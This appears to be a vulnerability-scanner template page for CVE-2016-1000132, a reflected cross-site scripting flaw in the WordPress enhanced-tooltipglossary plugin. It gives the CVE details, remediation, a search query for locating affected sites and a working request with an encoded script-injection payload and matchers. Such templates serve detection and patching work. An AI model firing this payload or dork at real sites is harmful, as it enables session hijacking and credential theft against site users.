WordPress enhanced-tooltipglossary 3.2.8 - Cross-Site Scripting

ID: CVE-2016-1000132

Severity: medium

Author: daffainfo

Tags: cve2016,cve,wordpress,xss,wp-plugin,cminds

Description

WordPress enhanced-tooltipglossary 3.2.8 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

id: CVE-2016-1000132

info:
  name: WordPress enhanced-tooltipglossary 3.2.8 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress enhanced-tooltipglossary 3.2.8 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of WordPress enhanced-tooltipglossary plugin (3.2.9 or higher) which includes a fix for this vulnerability.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=37
    - https://wordpress.org/plugins/enhanced-tooltipglossary
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000132
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000132
    cwe-id: CWE-79
    epss-score: 0.00116
    epss-percentile: 0.44389
    cpe: cpe:2.3:a:cminds:tooltip_glossary:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: cminds
    product: "tooltip_glossary"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/enhanced-tooltipglossary\""
  tags: cve2016,cve,wordpress,xss,wp-plugin,cminds
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/enhanced-tooltipglossary/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'CM Tooltip Glossary'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/enhanced-tooltipglossary/backend/views/admin_importexport.php?itemsnumber=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&msg=imported"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200c6bb8ffc1bd1fa3679730ca60c8cbb064300d96bed206c77126c7a9ac3c3aa0022100ddb35ca8facb243ad7d8d7048b9fb352ff16afea20d2affa01471d6381b6eef1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

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